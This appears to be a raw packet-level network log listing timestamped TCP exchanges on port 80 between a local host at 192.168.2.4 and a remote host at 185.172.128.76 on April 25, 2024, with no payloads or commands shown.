Apr 25, 2024 14:42:04.849642992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849674940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849680901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849714041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849720001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849751949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849756956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849791050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849797010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849836111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849864960 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849904060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849912882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849941969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849946976 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.849980116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.849996090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850018978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850020885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850064039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850090981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850128889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850141048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850176096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850200891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850253105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850264072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850291967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850296021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850330114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850334883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850368977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850374937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850406885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850414038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850450993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850481033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850532055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850553036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850589037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850613117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850634098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850660086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850697994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850708008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850735903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850742102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850775957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850778103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850814104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850821018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850852013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850857973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850893021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850898027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850931883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850936890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.850972891 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.850977898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851008892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851016998 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851048946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851053953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851087093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851094007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851126909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851138115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851165056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851171970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851206064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851208925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851244926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851249933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851284981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851290941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851322889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851329088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851361036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851366043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851399899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851406097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851439953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851444006 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851478100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851485014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851516008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851519108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851555109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851561069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851593971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851599932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851630926 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851634979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851670027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851672888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851708889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851716995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851747990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851752996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851787090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851793051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851825953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851833105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851871967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851905107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.851958990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.851982117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852020979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852036953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852060080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852068901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852097034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852108002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852157116 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852157116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852196932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852207899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852235079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852240086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852274895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852281094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852319002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852345943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852399111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852415085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852442980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852468967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852475882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852488995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852494955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852516890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852530003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852556944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852596045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852639914 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852657080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852680922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852694988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852715969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852735043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852761030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852773905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852811098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852829933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852854967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852863073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852868080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852901936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852911949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.852947950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.852974892 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853015900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853050947 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853097916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853152990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853172064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853199005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853212118 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853219986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853260040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853267908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853285074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853310108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853318930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853377104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853394985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853423119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853435993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853482962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853501081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853532076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853537083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853579044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853622913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853641033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853663921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853677034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853718042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853735924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853761911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853774071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853799105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853816986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853838921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853852987 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853877068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853895903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.853919983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853938103 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.853986025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854003906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854032040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854052067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854053020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854088068 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854091883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854120970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854129076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854140043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854165077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854178905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854217052 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854252100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854258060 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854271889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854295015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854311943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854445934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854463100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854492903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854506016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854510069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854548931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854588985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854605913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854631901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854638100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854645014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854679108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854701042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854762077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854764938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854779959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854809046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854821920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854878902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854897976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854914904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854927063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854944944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854948044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.854952097 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.854986906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855011940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855050087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855088949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855106115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855135918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855150938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855154991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855195999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855205059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855243921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855267048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855298996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855309010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855334044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855339050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855371952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855428934 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855477095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855506897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855525017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855555058 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855564117 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855587006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855619907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855628967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855660915 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855690002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855731010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855782032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855809927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855825901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855850935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855854034 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855890989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855894089 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855930090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.855941057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.855981112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856009007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856026888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856054068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856061935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856070042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856106043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856122017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856163025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856189013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856206894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856230974 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856245041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856257915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856297970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856307983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856324911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856348038 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856362104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856389046 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856406927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856430054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856441975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856508970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856527090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856555939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856566906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856585026 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856618881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856625080 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856654882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856658936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856673956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856695890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856707096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856722116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856755018 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856760979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856795073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856837988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856856108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856872082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856884956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856889963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856903076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856920958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856925964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856935978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856944084 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856961966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856964111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856981993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.856986046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.856997967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857001066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857019901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857021093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857044935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857054949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857064009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857074022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.857104063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.857108116 CEST	80	49731	185.172.128.76	192.168.2.4
